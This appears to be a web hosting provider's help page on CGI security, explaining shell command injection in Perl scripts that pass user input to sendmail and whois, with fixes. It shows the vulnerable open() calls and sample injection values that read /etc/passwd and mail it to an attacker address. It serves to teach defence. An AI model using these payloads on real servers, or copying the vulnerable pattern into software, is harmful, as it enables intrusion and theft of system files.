CGI Security Issues
A common problem with contributed or free CGI scripts allows an
attacker to execute arbitrary shell commands on your Virtual Server
with all of the privileges as you would have at a command prompt
(such as when you Telnet or SSH to your Virtual Server). It may
then be possible for the attacker to gain privileged access to your
Virtual Server. The problem lies inherently in how the scripts are
written not with the overall security of the Virtual Server itself.
We strongly advises you to check all scripts you download free
from a third party source. You should specifically look for instances
were the script opens a file handle to an external program such as
a mail executable (a common task). When these file handles are opened
using user-supplied data, you should ensure that these data have been
properly "sanitized".
For example, you may have a script which packages user-supplied data and
e-mails it to a recipient. Perhaps it looks something like:
open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'email_address'}\n";
.
.
.
close(MAIL);
The above code could possibly be prone to an attack. This would be
accomplished by submitting for the value of "recipient" something
like the following:
some@email.address; cat /etc/passwd | mail attacker@email.address
some@email.address && mail attacker@email.address < /etc/passwd
The easiest way to deny an attack in this particular example is to
eliminate user-supplied data from the open command. The
sendmail program has a very useful flag , -t, which when
set forces sendmail to read the message headers (To:, Cc:, Bcc:) for
recipients. So instead of:
open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
use this:
open (MAIL, "|/bin/sendmail -t");
Another possible vulnerability can occur when a script executes an
external program. For example, you may have a script which performs
a "lookup" on a user-specified domain name's availability. In the
lookup source code, you may encounter a line that looks something like
this:
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
The above code could possibly be prone to an attack. This would be
accomplished by submitting for the value of "domain_name" something
like the following:
domain.name; cat /etc/passwd | mail attacker@email.address
domain.name && mail attacker@email.address < /etc/passwd
The best way to prevent these types of attacks from being successful
is to "sanitize" user-supplied data. Sanitizing user-supplied data
is the process of eliminating any nonessential characters. So, in the
example above, it would be very wise to check the "domain_name"
against a valid character set which includes letters, digits, dashes,
and periods. This can be accomplished using just a few lines of
Perl code:
if ($user_supplied_data{'domain_name'} =~ /[^A-Za-z0-9\.\-]/) {
print "Content-type: text/plain\n\n";
print "Uh... you entered an invalid domain name.";
exit(0);
}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
.
.
.
All of the scripts in our
CGI library use proper security
sanitizing methods. Although we cannot guarantee the security
of all other Server Add-Ons,
we have examined
and corrected some problems we have encountered. We also pay close
attention to CERT advisories and bulletins that have applicability to
our Virtual Server System.
Other Resources
More information about proper CGI security is presented (including
examples of specific programming techniques) at the following URLs:
The World Wide Web Security FAQ
How To Remove Meta-characters From User-Supplied Data In CGI Scripts